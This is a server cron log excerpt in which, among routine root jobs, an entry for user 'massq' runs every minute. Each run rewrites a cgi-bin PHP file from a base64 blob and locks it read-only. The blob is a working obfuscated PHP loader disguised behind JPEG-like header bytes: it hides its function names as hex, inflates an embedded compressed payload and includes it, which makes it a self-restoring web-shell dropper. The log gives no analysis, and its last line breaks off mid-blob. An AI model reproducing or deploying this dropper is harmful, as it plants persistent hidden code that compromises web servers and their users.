Apr  6 18:50:01 server CROND[30714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:51:01 server CROND[30825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:52:01 server CROND[30894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:53:01 server CROND[30952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:54:01 server CROND[31110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:55:01 server CROND[31173]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:55:01 server CROND[31174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:55:01 server CROND[31175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:56:01 server CROND[31284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:57:01 server CROND[31341]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 18:57:01 server CROND[31342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:58:01 server CROND[31392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:59:01 server CROND[31607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:00:01 server CROND[31663]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 19:00:01 server CROND[31664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:00:01 server CROND[31665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:00:01 server CROND[31666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:01:01 server CROND[31792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:01:01 server CROND[31793]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 19:01:01 server run-parts(/etc/cron.hourly)[31793]: starting 0anacron
Apr  6 19:01:01 server run-parts(/etc/cron.hourly)[31805]: finished 0anacron
Apr  6 19:02:01 server CROND[31849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:03:01 server CROND[31908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBd